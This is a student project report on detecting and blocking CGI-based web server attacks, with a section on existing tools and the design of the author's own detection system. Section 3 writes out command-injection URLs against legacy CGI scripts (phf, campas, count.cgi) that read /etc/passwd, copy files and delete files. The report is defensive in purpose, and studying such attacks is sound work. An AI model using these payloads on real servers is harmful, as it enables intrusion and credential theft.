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ABSTRACT 
INTRUSION DETECTION AND PREVENTION SYSTEM: CGI ATTACKS 
by Tejinder Aulakh 
Over the past decade, the popularity of the Internet has been on the rise. The 
Internet is being used by its clients to access both static and dynamic data residing on 
remote servers. In the client-server interaction, the client asks the server to provide 
information, and, in addition, the server may also request that clients provide information 
such as in "web forms." Therefore, the Internet is being used for many different purposes 
which also include the web servers collecting the information from the clients. 
Consequently, attacks on the web servers have been increasing over the years. Due to the 
fact that web servers are now able to produce dynamic web pages based on the received 
requests, the web servers are now more vulnerable to attack than ever before. 
One of the ways to produce the dynamic web page is Common Gateway Interface 
(CGI) technology. Attackers take the advantage of CGI scripts to perform an attack by 
sending illegitimate inputs to the web server. This report includes the findings and the 
results of the thorough research performed on the CGI-related web server attacks during 
the course of the project. In addition, this report contains a detailed explanation of the 
design and the implementation of the work done to develop an Intrusion Detection and 
Prevention System for CGI based web server attacks. 
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1 INTRODUCTION 
In the past, a web server has been mainly used to serve static HTML requests. A 
web client would send a static HTML request to the web server, and the web server 
would respond with a static HTML response (Syroid, 2002). Over the years, there has 
been a tremendous change in the way we use the Internet. Today, a typical Internet user 
has much more interaction with the Internet than in the past. The Internet is now being 
used for sharing pictures, social networking, stock trading, banking, and many other uses. 
There has been a great increase in the development of new Internet-based tools while 
taking advantage of the gigantic popularity of the Internet among the general population. 
Photo editing tools such as Picnik, Picasa Web, video sharing, and editing on YouTube 
are good examples of the recent Internet-based tools. These popular tools were made 
possible only because of the abilities of the technologies like Common Gateway Interface 
(CGI) and Server Side Includes (SSI) to produce dynamic content based on the received 
requests (Selamt, 2003). 
However, this enhanced client-server interaction has made the web server highly 
vulnerable to attacks. CGI works as a communication gateway between the programs 
and the web server (Hollander, n.d.). The security risk with the CGI programs is that 
they can intentionally or unintentionally leak out confidential information to the attacker. 
In addition, an attacker can also modify the user input for CGI scripts in a way such that 
the CGI script will execute harmful commands on the server (Presis, n.d.). 
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There are several existing web server security solutions such as Firewalls to 
protect the systems from attacks, but they fail to prevent the attacks in most of the cases. 
For example, a Firewall does not always protect the server against the attacks because for 
a business to function properly behind a Firewall, some popular ports such as 80 and 21 
on the Firewall will need to be left open, hence opening the doors for attacks (Huseby, 
2005). An attacker can craft a legitimate HTTP request in such a way that it will look 
legitimate and perform the evil actions. 
In this report, we will begin with providing the detailed information of the 
Common Gateway Interface Technology and its common uses. Then, we will talk about 
the security vulnerabilities that CGI technologies contain and well-known CGI attacks, 
including how they are performed. Next, we will analyze the existing tools that handle 
CGI related attacks and we will talk about their capabilities and limitations. Further, we 
will cover the background of the Intrusion Detection Systems, including their types and 
the components used in implementing them. Then, we will introduce an enhanced 
Intrusion Detection and Prevention System for CGI based attacks. We will also talk 
about the services that the proposed system will provide. In the next part, we will 
comprehensively explain the design and implementation of the proposed system. Finally, 
in the last part of the report, we will cover the outcomes of the project and make 
recommendations for the future work in this filed. 
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2 COMMON GATEWAY INTERFACE (CGI) 
2.1 What is CGI? 
Common Gateway Interface, commonly known as CGI, is a standard protocol 
used primarily by the web server to produce dynamic web pages. It is the CGI programs 
that have enabled the web servers to create the customized response with regard to the 
received request. With CGI, a web server can communicate with other parts or the 
programs running on the server to prepare the response. A CGI program calls other 
applications on the server and passes the user-specific information to the applications to 
prepare the response for the requested data or output (Gundavaram, 1996). After 
completing the operations, the CGI program returns the output to the web server and the 
web server then sends the response back to the client. The CGI programs are not 
language specific. They can be written in any language that provides standard input 
(STDIN) and standard output (STDOUT) (Marshall, 2002). The high level model of the 
CGI is illustrated in Figure 1. 
HTTP Request
 W e b S e r v e r CGI Call 
Client 
CGI Response CGI Response 
Figure 1: Common Gateway Interface 
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CGI Program 
2.2 CGI Applications 
CGI transforms the web server from a static server which primarily stores static 
web pages to an interactive server that clients can use to provide information to the server 
or access other applications running on the server. Let us discuss some of the popular 
applications that use CGI programs. 
2.2.1 CGI Forms 
CGI programs are most commonly used in the processing the input received from 
the forms. The forms can be used to gather information from the user or to enable the 
users run commands on the server. The forms can also be used to access other 
applications running on the server (Gundavaram, 1996). The CGI program then calls the 
appropriate application to process the input received the forms. The examples of the 
actions performed by the CGI include storing the information in the database, searching 
for documents, and running the Linux/Unix commands on the server etc. A CGI program 
is linked to the forms embedded in the web pages on the server by using the ACTION 
attribute of the HTML FORM tag. This is done as follows: 
<FORM ACTION=7cgi-bin/CGI_handle_forms.pl" METHOD="POSTM> 
Every time the user submits the form, the CGI program "CGI_handle_forms.pl" is called 
to process the input received from the user. A sample form is shown in Figure 2. 
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Customer Feedback 
We try our best to make your visit to VENTANAS RESTATJRAJS1T as pleasant as 
possible. If we have not met your expectations in any way, we would like you to let 
us know! We appreciate your time to help us serve you better. 
Type 
Name 
Phone 
Date of Visit 
Time of Visit 
Server (if dine-in) 
Comments: 
-Specify type of feedback- ;v 
dd/mm/yyyy 
Morning (10:00a-11:30a) 
I want a manager to call me back: D 
Send Return to Main Page 
Figure 2: CGI Form 
2.2.2 CGI Gateways 
Making some crucial information or applications available on the web server for 
anyone to access is an incredibly useful feature but it generates immense security 
vulnerabilities. Therefore, direct access to such information or applications is not 
provided to the clients. Instead, all requests from the clients are passed through the 
Gateways before they reach the web server for processing. Gateways which use CGI 
programs perform application level authorization tasks determining if the client is 
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allowed to be given access to the requested information. If yes, Gateways use the 
available API's to access the information and prepare the response. The information 
requested could include file access and database access. Figure 3 includes the example of 
clients accessing the databases via the CGI Gateway. 
Request (direct) 
Request 
Response 
Request denied 
i 
O 
O 
CGI Gateway 
Figure 3: CGI Gateway 
2.2.3 CGI Virtual Documents 
CGI programs are also used in the creation of the Virtual Documents which are 
also known as Dynamic Documents. The content of the documents is dependent on the 
information received from the requests received from the server (Gundavaram, 1996). 
This is very useful in providing the customized information to the user. An example of a 
virtual document in presented below. 
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Welcome to Tejinder s 
You are visiting from 
server is 1.25. 
Happy navigating! 
WWW Server 
homes com. The average load on my 
Here, the CGI program was automatically able to detect where the client user is 
visiting from. The CGI program also keeps track of the average load on the server and 
displays it in the virtual documents. This is a very useful feature to be able to write extra 
information to the logs and gather other visitor related statistics to better serve the clients. 
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3 CGI SECURITY 
Most of the web servers have a directory named "cgi-bin" which contains the CGI 
scripts. This directory contains some CGI scripts that present security vulnerability and 
make the server prone to many types of attacks. By exploiting these scripts, attackers can 
gain access to the server, modify the files, and retrieve confidential information which 
could be hidden in a non-public directory on the server. Figure 4 shows the intense 
interactivity of CGI with other applications such as the database, email, and OS 
commands. Attackers will try all possible ways to exploit the CGI scripts in order to 
reach these applications and have them produce the wanted output which is confidential 
information in most of the cases. 
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1. Browser 
contacts server 
using HTTP 
Connection 
over the Internet 
Client Using 
Web Browser 
5 . Web Server Software sends 
browser the HTML prepared 
by the CGI script 
Web Server Software 
2 . Web Server 
Software executes 
a CGI Script 
Web Server 
Hardware 
4. CGI Script creates HTML 
page with dynamically 
obtained info 
CGI Script 
Email 
3 . CGI Script uses 
other Server 
Hardware resources. 
Database 
OS Commands 
Figure 4: CGI Application Communication 
Some of the well-known exploits of the CGI scripts are given below: 
3.1 PHF Attack 
A script named "phf' which is installed by default in the cgi-bin directory can be 
used to perform an attack on the web server. The legitimate use of the script is to update 
the people directory (The Hack FAQ, 2003). The script's behavior changes if used with 
the "0a" character in the URL when calling the script. To perform an attack, the attacker 
appends "0a" to the URL along with some other UNIX command. The following are 
some of the examples of the attacks performed using the "phf CGI script. 
o Read the password file using "cat /etc/passwd" UNIX command 
http://victim.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd 
o The output of the "id" command 
http ://victim. com/cgi-bin/phf?%Oaid==haqr== phone= 
o List the files in the home directory the user "John" using "Is -la -John" command 
http://victim.com/cgi-bin/phf?%0als%20-la%20%7Eiohn==haqr== phone= 
o Copy the password file to another location 
http://victim.com/cgi-
bin/phf?%0acp%20/etc/passwd%20%7Eiohn/passwd%0A==haqr== phone= 
o Remove the password file in the home directory of the user "John" 
http://victim.com/cgi-bin/phf?%0arm%20%7Eiohn/passwd==haqr== phone= 
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3.2 Test Attack 
Another CGI script named "test-cgi" is also included in most of the servers by 
default and can be found in the cgi-bin directory. This script is used in verifying the 
environment variables while processing the server requests. This script can be used by 
the attackers to print the server specific information such as the environment variables 
(The Hack FAQ, 2003). It can also be used along with the "0a" string to perform other 
operations. As an example, the attacker is able to get all the server related information by 
using the following URL. 
http://victim.com/cgi-bin/test-cgi?\whatever 
Table 1 contains the sample output produced by the test-cgi script. 
Table 1: Test-cgi Output 
1/1.0 test script report: 
argc is 0. argv is . 
SERVER_SOFTWARE = NCSA/1. 4B 
SERVER_NAME = something.com 
GATEWAY_INTERFACE 
SERVER_PROTOCOL = 
SERVER_PORT = 8 0 
= CGI/1 
HTTP/1. 
REQUEST_METHOD = GET 
HTTP_ACCEPT = text/plain, 
application/html, 
text/html, text/x-
PATH_INFO = 
PATH_TRANSLATED = 
-html 
.1 
0 
application/x-html, 
SCRIPT_NAME = /cgi-bin/test-cgi 
QUERY_STRING = whatever 
REMOTE_HOST = something.com 
REMOTE_ADDR = 231 
REMOTE_USER = 
AUTH_TYPE = 
CONTENTJTYPE = 
CONTENT_LENGTH 
100.210 .100 
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3.3 JJ Attack 
The script named "jj.c" in the "cgi-bin" directory is for the demonstration purposes. 
When this script is called, it gets the user input and passes it on to the '/bin/mail' without 
scanning or filtering the input. This is a big advantage for the attackers since the input is 
not scanned and passed directly to the other programs. Therefore, an attacker can add "|" 
and a UNIX command in the request to perform an attack. 
3.4 Compas Attack 
NCSA server comes with a script named "compass.sh" which can also be exploited 
by the attackers to attack the server. This script does not scan the input from the user and 
can be used with the "Oa" string to issue the UNIX commands for the server to run (The 
Hack FAQ, 2003). As an example, look at the following URL: 
http://www.vi ctim.com/cgi-bin/campas?%Oacat%Oa/etc/passwd%0 
This URL would output the contents of the "/etc/passwd" file. 
3.5 Count Attack 
The "count.cgi" script is used to find the number of hits for the web pages. The 
script versions less than 2.4 contained exploits that can be used by the attackers to issue 
arbitrary UNIX commands at the same level as the httpd daemon (The Hack FAQ, 2003). 
As an example, an attacker can use the following URL to view the password file: 
http://www.victim.com/cgi-bin/count.cgi?%Oacat%Oa/etc/passwd%0 
Similarly, the attacker can use this script to issue other Unix commands on the server to 
possibly get unauthorized access or to bring the server down. 
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4 EXISTING TOOLS 
There are several tools that deal with the CGI security vulnerability issues. The 
two popular tools used as the IDS for web based attacks are: 
• CGI-IDS 
• ModSecurity 
The details of these two tools are described below. 
4.1 CGI-IDS 
This tool is a Perl based Intrusion Detection System and is based off PHP IDS. It 
scans the requests for any kind of patterns of the known attacks. It reads the attack 
patterns through an XML file which contains different kind of Filters (Altenburg, 2008). 
The following contains the structure of the CGI-IDS: 
use CGI; 
useCGI::IDS; 
$cgi = new CGI; 
# instantiate the IDS object; 
# do not scan keys, values only; don't scan PHP code injection filters (IDs 
58,59,60); 
# All arguments are optional, 'my $ids = new CGI::IDS();' is also working 
correctly, 
# loading the entire shipped filter set and not scanning the keys. 
# See new() for all possible arguments, 
my $ids = new CGI::IDS( 
whitelistfile => '/home/hinnerk/ids/param_whitelist.xml', 
disable_filters => [58,59,60], 
); 
# start detection 
my %params = $cgi->Vars; 
my $impact = $ids->detect_attacks( request => \%params ); 
if($impact>0) { 
my_log( $ids->get_attacks()); 
} 
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if($impact>30) { 
my_warn_user(); 
my_email( $ids->get_attacks()); 
} 
if($impact>50) { 
mydeacti vate_user(); 
my_sms( $ids->get_attacks()); 
} 
# now with scanning the hash keys 
$ids->set_scan_keys(scan_keys => 1); 
$impact = $ids->detect_attacks( request => \%params ); (Altenburg, 2008) 
The users of this IDS can expand the scope of this tool by adding more filters to the XML 
file and make the IDS detect additional attacks. A sample XML Filter file looks like the 
following: 
<filters> 
<filter> 
<id>l</id> 
<rule><![CDATA[(?:"+.*>)|(?:[A\w\s]\s*V>)|(?:>")]]></rule> 
<description>finds html breaking injections attacks</description> 
<tags> 
<tag>xss</tag> 
<tag>csrf</tag> 
</tags> 
<impact>4</impact> 
</filter> 
</filters> (Altenburg, 2008) 
The IDS also allows the users to set rules for which the requests are not gone through the 
intense analysis of the IDS. A White List file which is also an XML file and fully 
customizable allows the requests to pass through the IDS quickly. It plays a significant 
role in improving the speed of a busy server. A sample XML White List file is shown 
below: 
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<whitelist> 
<param> 
<key>scr_id</key> 
<rule><![CDATA[(?:A[0-9]+\.[0-9a-f]+$)]]></rule> 
</param> 
<param> 
<key>uid</key> 
</param> 
</whitelist> (Altenburg, 2008) 
4.1.1 Disadvantages 
This IDS lacks many features to make it a desirable IDS for the administrators to 
use. Below are some of the important features that this IDS does not provide. 
• This tool does not have a user interface for the administrators of the systems to 
monitor the IDS activities and gather attack statistics. The console is a very crucial 
part of an IDS since via the console, the administrators of the systems are able to 
configure, upgrade, and add additional signature patters to the IDS. In this tool, the 
administrator would need to manually modify the XML files to add additional filters 
and White List entries. 
• This tool does not use the databases to keep track of the attacks and the attacker's 
history. Databases are another important component of an IDS which lets the 
administrators to gather the statistics. 
• This tool does not provide the capability to block the attacker for some limited 
amount of time or permanently. It is believed that this ability is important in some 
cases. 
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4.2 ModSecurity 
ModSecurity is another application level IDS that operates while fully integrated into the 
web server to shield it from the application level attacks (ModSecurity for Apache User 
Guide, 2006). Some of the primary features of this IDS are described below. 
• It performs filtering on the received requests which also includes looking for the 
strings that are commonly used to perform the attacks. Due to the fact this IDS is 
directly embedded into the web server, the filtering is done at the very low level of 
the application layer (ModSecurity for Apache User Guide, 2006). 
• It provides any invasion capabilities. 
• It has a good knowledge of the HTTP protocol. Therefore, it is able to perform 
specific filtering and also capable of analyzing the HTTP parameters. 
• It performs analysis on the POST requests. 
• It writes the details of the requests received to the logs for analysis by the 
administrators. 
• It is able to perform HTTPS analysis because the IDS is implemented at the web 
server level. It is also capable of examining the data after the protocol decrypts the 
requests. 
The configurations for this IDS are performed by editing the configuration file. A 
recommended configuration file by the ModSecurity team is show below: 
# Turn ModSecurity On 
SecFilterEngine On 
# Reject requests with status 403 
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SecFilterDefaultAction "deny,log,status:403" 
# Some sane defaults 
SecFilterScanPOST On 
SecFilterCheckURLEncoding On 
S ecFilterCheckUnicodeEncoding Off 
# Accept almost all byte values 
SecFilterForceByteRange 1 255 
# Server masking is optional 
# SecServerSignature "Microsoft-IIS/5.0" 
SecUploadDir /tmp 
SecUploadKeepFiles Off 
# Only record the interesting stuff 
SecAuditEngine RelevantOnly 
SecAuditLog logs/audit_log 
# You normally won't need debug logging 
SecFilterDebugLevel 0 
SecFilterDebugLoglogs/modsec_debug_log 
# Only accept request encodings we know how to handle 
# we exclude GET requests from this because some (automated) 
# clients supply "text/html" as Content-Type 
SecFilterSelective REQUEST_METHOD "!A(GET|HEAD)$" chain 
SecFilterSelective HTTPContent-Type \ 
"! (Aapplication/x-www-form-urlencoded$ | Amultipart/form-data;)" 
# Do not accept GET or HEAD requests with bodies 
SecFilterSelective REQUEST_METHOD "A(GET|HEAD)$" chain 
SecFilterSelective HTTPContent-Length "!A$" 
# Require Content-Length to be provided with 
# every POST request 
SecFilterSelective REQUEST_METHOD "APOST$" chain 
SecFilterSelective HTTP_Content-Length "A$" 
# Don't accept transfer encodings we know we don't handle 
SecFilterSelective HTTPTransfer-Encoding "!A$" (ModSecurity for Apache 
User Guide, 2006) 
4.2.1 Disadvantages 
Like CGI-IDS, this IDS also lacks many important features of a good IDS. First, 
this tool also does not provide a user-friendly console for the administrators to perform 
the configurations and upgrades. Second, it does not use databases to keep track of the 
17 
incidents. In addition, this IDS also lacks the capability to block the attacker for some 
limited amount of time or permanently. 
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5 INTRUSION DETECTION SYSTEM 
5.1 Fundamentals 
Intrusion Detection refers to the process of monitoring the system for 
unauthorized access incidents which can be the violation of the security policy, system 
use policy, or any other security standards (Scarfone, 2007). An Intrusion Detection 
System (IDS) is software that implements the intrusion detection process. On the other 
hand, an Intrusion Prevention System (IPS) prevents unauthorized access incidents from 
being successful. To better protect the system from any attacks, Intrusion Detection and 
Prevention System (IDPS) which provides a completely automated monitoring services, 
is deployed on the systems. 
Most of the IDPS systems log the incident every time an attack on the system is 
detected and notifies the administration of the system so that all necessary actions can be 
taken to avoid such incidents again in the future. The administrators of the system can 
also configure the IDPS to monitor the violations of the end user policies and other 
unauthorized activities (Scarfone, 2007). As an example, if the user policy of a web 
server prohibits the users from uploading music files to the server, a properly configured 
IDPS would record the incidents when the users try to upload music files to the server. 
In some cases, IDPS are used to gather the attack statistics so that patterns of the attacks 
can be determined and also to better understand the attacks including how they are 
performed (Scarfone, 2007). Figure 5 illustrates where an IDPS is placed and how it 
functions. 
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Web Server 
All requests pass through 
IDPS before reaching the 
web server 
Figure 5: IDPS 
5.2 IDPS Detection Models 
The models that the IDPS follows to detect attacks can be divided into two 
categories: 
• Signature-Based Detection Model 
• Anomaly-Based Detection Model 
In some cases, an IDPS is composed of more than a single detection model to provide the 
most level of security to the system (Scarfone, 2007). The two models are described 
below. 
5.2.1 Signature-Based Detection Model 
A signature refers to the pattern in which a previously known attack was 
performed. The signature-based detection methodology is the process of comparing the 
current events with the signatures (Scarfone, 2007). Below are some of the examples of 
the signatures: 
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• Log in attempt as the "root" which refers to the violation of the security policy of 
the system 
• Emails with the subject "Free Screensavers" and containing an attachment 
"screensaver.exe" which refers to the spam emails 
• The operating system log entry code 645 which refers to disabling of the server's 
auditing 
This type of IDPS model is a very efficient detection model due to its low 
complexity in implementation and detection. It simply compares the current activity to 
the stored signatures to find any pattern similarities in order to detect the attacks. In 
addition, the signature-based detection model produces very specific attack event reports 
as oppose to the anomaly-based detection model which we will analyze in the next 
section (Stamp, 2009). The drawback of a signature-based detection model is its inability 
to detect new unknown attacks since the system does not have any signature entry in the 
system for the new attacks. 
5.2.2 Anomaly-Based Detection Model 
The anomaly-based detection model detects the attacks based on the profiles. The 
profiles contain the patters or the normal behavior in which the system is being used. 
The profiles are based on specific users, networks, or the applications. They are created 
by monitoring the system use over a period of time, known as the evaluation period. This 
model compares the current activities with the profiles to discover the abnormal activity 
in progress which in most cases is an attack (Scarfone, 2007). Since the system use and 
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the network use are not static and always contain some variation over time, the profile 
must also adjust accordingly. Therefore, after the creation of the profiles in the 
evaluation period, an IDPS changes the profiles over time. The examples of the profiles 
are mentioned below. 
• A user profile contains an email activity of 5%. When the IDPS using anomaly-
based detection model senses that the email activity on the system is more than 
5%, it will consider it an attack. 
• Over the past few weeks, on average a user performs open, read, and write 
operations on the file system for 2% of the time. When the IDPS detects a sudden 
increase in the file access operations, it reports an attack incident. 
The advantage of the anomaly-based detection model is that it is able to detect even 
unknown attacks by comparing the current abnormal events with something that is 
considered normal. Further, this model can also be more efficient than the signature-
based model given that there are a huge number of signatures to compare with in the 
signature-based detection model (Stamp, 2009). On the other hand, the attack incidents 
that anomaly-based model produces are not very specific and it takes some efforts by the 
administrator to pin-point the root of the attack (Stamp, 2009). In addition, this model is 
subject to a "slow attack." In this type of attack, the attacker first finds out the threshold 
between the normal and abnormal activities. The attacker then would slowly attack the 
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system making sure that the activities during the attack do not reach the threshold which 
results into the anomaly-based detection model not detect the attack. 
5.3 IDPS Components 
An IDPS is composed of the following components. 
• Agent 
Agent is the module that listens for the events and analyzes the system activities. In 
case of IDPS used for network attacks, the agent is called "sensor" (Scarfone, 2007). 
• Management Server 
Management server is responsible for analyzing the received information from the 
current activity to decide if an attack is in progress. It would use the information 
from other elements also such as signatures and profiles to complete the analysis. 
• Database Server 
Database server is used to store the information received from the agents and the 
management server. The management server also uses the database server to 
complete it operations. 
• Console 
Console or management interface serves as the interface between the IDPS and the 
administrator. The console is used to monitor the system events produced by the 
IDPS. Some consoles are also used to configure the agents and perform software 
upgrades (Scarfone, 2007). 
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Figure 6 illustrates all the required components that an IDS is composed of. 
• 
Sensor 
(Agent) 
i 
* 
1=1 
Sensor 
(Agent) 
S Database 
Management 
Server 
Management 
Interface 
Figure 6: IDPS Components 
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6 DEVELOPED IDPS 
The system designed and implemented during this project is a complete IDPS which 
uses a signature-based detection model. The system contains a list of signatures that are 
used to detect the attacks. The signatures are well-known CGI patterns that have been 
used in the past to attack the systems. The system contains the following crucial 
components to provide a robust web server security against the CGI attacks. 
6.1 Graphical User Interface (GUI) 
The system provides a user-friendly interface for the server administrator to 
monitor the attacks. Through the user interface, the administrator can view past CGI 
attacks, block attacker IP addresses, unblock IP addresses etc. The GUI contains the 
following interfaces: 
6.1.1 CGI Attacks Interface 
The interface named "CGI Attacks" lists all past CGI attacks detected by the 
system with the most recent attacks listed on the top. Table 2 contains the fields and their 
description that are shown on this interface. 
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Table 2: CGI Attacks Interface Fields 
Field 
Attack ID 
IP 
Request 
Browser 
Timestamp 
Description 
ID of the attack 
Attacker's IP address linked to "Attacker History" interface 
Attacker's browser that was used in the attack 
Browser used to perform 
Timestamp at which the attack was detected. 
The IP address entries of the attacker are clickable and linked to the "Attacker History" 
page displaying the attack history from the clicked IP address. In addition, the interface 
also contains the links to the "Blocked Attackers" page and "phpMyAdmin". Figure 7 
contains the screenshot of "CGI Attacks" interface. 
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Figure 7: CGI Attacks Interface 
6.1.2 Attacker History Interface 
The interface "Attacker History" contains attacker history of the attacker whose 
IP address was clicked on the "CGI Attacks" interface. In addition to the attacks table 
and the links, the interface also displays additional fields which are shown in the Table 3 
below. 
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Table 3: Attacker History Interface Fields 
Field 
Attacker IP 
Total Attacks 
Action 
Description 
Attacker's IP address 
Total number of attacks performed by this attacker 
"Block Attacker" button to block this IP address from 
accessing the server again 
"Block Attacker" button calls another script which blocks the IP address and takes the 
administrator to the confirmation page displaying the success of the operation. It also 
gives the option to undo the operation which means unblocking the IP address which was 
just blocked. Figure 8 contains the screen shot of this interface. 
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6.1.3 Blocked Attackers Interface 
This interface displays the IP address of all the attackers that have been banned 
from accessing the server. This interface contains links to other interfaces and also a 
table of banned IP addresses. The fields that are shown on this interface are explained in 
Table 4. 
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Table 4: Blocked Attackers Interface Fields 
Field 
Action 
IP 
Timestamp 
Description 
Unblock action which contains the link to the script which 
performs the unblock operation 
IP addressed that has been banned 
Timestamp at which the IP address was banned 
Clicking on the unblock action calls another script which unblocks the IP address and 
takes the administrator to the confirmation page displaying the success of the operation. 
Figure 9 contains the screen shot of this interface. 
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Figure 9: Blocked Attackers Interface 
6.2 MySQL Database 
The MySQL database keeps track of all the attacks and stores the necessary 
information for analysis by the administrators later on. The database is also used for 
blocking and unblocking the IP addresses. 
6.3 Management Module 
The management module is a fundamental component of the implemented system. 
It is responsible for detecting the attack by checking the current activity pattern against 
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the signatures. It also provides access to the database and stores the attack information in 
the database. 
6.4 Email Generation 
Every time an attack event is detected, an email is generated and sent to the 
administrator of the system. This is done to ensure that the administrator is always kept 
informed about the attacks. If any additional actions are needed, the administrator can 
perform them after receiving the attack email and being informed about the CGI attack. 
The email contains the following information that is explained in Table 5. 
Table 5: Email Message Fields 
Field 
Attack Time 
Server Name 
Admin 
Attack URL 
Attacker's Browser 
Description 
The timestamp for the attack 
The hostname of the server at which the attack was aimed 
The administrator's email address 
The signature of the URL used in the attack 
The web browser used in performing the attack 
The screenshot of the email message is shown in Figure 10. 
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I Next | Back to Messages 
I Delete | j Reply -r f j Forward I j Spam | j Move. . . w \ 
t CGI Attack Notification from Tejinder's IDPS 
From: "IOPS@teJinder.com" <IDPSl3)tejlr»der.com> E^l 
To: hitejinder@yahoo.com 
This message is to inform you about the CGI attack that was detected and prevented by The Intrusion Detection and Prevention System developed by Teiinder Aulakh. 
The attack report has been listed below for your reference. 
CGI ATTACK REPORT 
Attack Time: Thu Aug 6 18:2140 2009 
Server Name: localhost 
Admin: hitejindef@vahoo.com 
Attack URL: /IDPS-server?attack=/cgi-bin/phf%3f%250aid=haqR=_phone= 
Attacker's IP: 127.0.0.1 
Attacker's Browser: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 AutoPager/0.5.2.2 (http: //www, tees oft .info/1 
Take Action 
View the past attacks from 127.0.0.1 
Block IP 
—"Please DO NOT REPLY to this email.***** 
This message was auto-generated by the CGI IDPS developed by Tejintter Aulakh installed on your server running Apache/2.2.8 (Win32) PHP/5.2.5. 
i j Delete | j Reply •* | j Forward | j Spam | j Move. . . w j 
Previous | Next | Back to Messages 
Figure 10: CGI Attack Email Notification 
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7 DESIGN AND IMPLEMENTATION 
The system was implemented using various languages such as PHP, Perl, and 
HTML. For database connectivity SQL query language was used. 
7.1 CGI Attack Detection 
Apache config file httpd.config was modified to allow the execution of Perl scripts 
by the server. In addition, it was also modified for the detection of the CGI attacks. 
Using the ReWriteCond the system scans the request for the attack patters. If the patter is 
found in the request, the system uses the RewriteRule to forward the whole request to a 
Perl script called "IDPS-server" which will use the request to extract the required 
information. 
7.2 Storing Attacks 
A MySQL database is used to store the attack information to be reviewed by the 
administrator. The database contains a table named "attacks" in which the attack 
information is stored. The module "IDPS-server" is responsible for storing the attack 
information into the database. IDPS-server module uses MySQL API's for Perl to 
interact with the database. When an attack event is detected, it stores the following 
information in the database: 
> The URL or the request used to perform the attack. 
> Attacker's browser that was used in the attack. 
> Timestamp at which the attack was detected. 
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7.3 Blocking Attackers 
A table named "blocked_hackers" is used to store the IP addresses of the attackers 
that have been marked "blocked" by the administrator to ban the access to the server. 
When the server receives the request, the first thing that is checked is the IP address of 
the client to see if it is marked as "blocked" in the database. If it is marked "blocked", 
the request is ignored by the server. 
7.4 Email Notifications 
After storing the necessary information in the database, the module "IDPS-server" 
then sends the attack information to the administrator of the server via an email message. 
A procedure named send_mail() was written to send the email notifications to the 
administrator. The procedure uses the Perl API "Mail::Sendmail" to talk to the mail 
server and send the emails. 
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8 IDPS REQUEST HANDLING FLOW CHART 
When the web server receives the CGI request from the client, it is forwarded to 
the developed IDPS. After the IDPS receives the forwarded request, it checks if the 
client is marked as block in the databases. If it is, then the access to the server is denied. 
Otherwise, the IDPS moves on to check if the request contains any attack signatures to 
detect for a possible CGI attack in the process. If no CGI attack signatures are found in 
the request, then the request is given back to the web server for normal request 
processing. Otherwise, the request is handed over to the IDPS attack handler module to 
store the attack information, notify the administrator and finally deny the access to the 
server for the request. The Attack Detection Flow Chart diagram is shown in Figure 11. 
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Figure 11: Attack Detection Flow Chart 
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9 RESULTS AND OUTCOMES 
The developed system was tested by sending several bad CGI requests to perform 
the attacks. The system successfully prevented the attacks and sent the email 
notifications to the server administrator. The system was also tested the ability to block 
and unblock the attackers. 
9.1 Performing the Attack 
When sending an attack URL to the server, the web server is successfully able to 
prevent the attack, log the attack entry in the database, and notified the administrator of 
the server about the attack. Figure 12 shows the screenshot of the GUI displaying the 
confirmation of the attack detection and prevention. 
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403 Forbidden 
Your attempt has been logged, l b s ctrxi adntm hat been oofiSed about ttm activity 
Mail cent OR. 
Figure 12: Attack Prevention Output 
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10 FUTURE WORK 
The developed system can be further enhanced adding the capability to protect the 
server from other types of attacks such as: 
• PHP related attacks 
The support for PHP related attacks can be added to this IDPS. 
• SQL Injection 
Another module can be developed and added to the IDPS which will prevent SQL 
Injection attacks by scanning the input entered in the forms. 
•> An attempt to access private documents 
This IDPS can be further modified to track and block the attempts to access the 
private documents. The administrator can choose which documents should be 
considered private. 
• Option to block attacker for limited time 
If useful, the administrator can be given the option to block the attacker for some 
limited period of time such as an hour or so. To add this functionality the cron 
jobs will have to be regularly scheduled on the web server to unblock the 
attackers if the time duration for which the attacker was blocked has expired. 
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11 CONCLUSION 
In this paper, I presented detailed information of the CGI technologies. I 
discussed different applications in which CGI technology is being used. I then stated 
numerous kinds of security vulnerability that the use of CGI technology presents. I 
demonstrated that the attackers perform the attack on the web server by crafting 
illegitimate HTTP requests into legitimate HTTP requests so that the web server would 
process the requests without detecting the hidden harms. By doing so, the attackers are 
able to perform prohibited actions on the server which includes getting unauthorized 
access to the web server, bringing the web server down, and making it unable to serve the 
genuine clients. 
In addition, I analyzed two commercial tools that are being used to protect the 
web servers from the attacks. I analyzed CGI-IDS and ModSecurity in details and 
concluded that neither of the tools are user-friendly in performing configurations and 
monitoring attacks. I mentioned that these two tools lack major IDS components such as 
the management console and the database to keep track of the past attacks. I provided 
evidence that there is a need for another tool which should consist of all significant IDS 
components and better protect the web servers from CGI-related web attacks. 
I discussed the design and implementation of the new tool that was developed for 
this project. I demonstrated that the tool provides a robust web-server security against 
CGI-based attacks. The tool contains crucial IDPS components and provides capabilities 
that other tools failed to provide. The features include IDPS management configuration 
interface, ability to block the attackers, and automatic email notification. 
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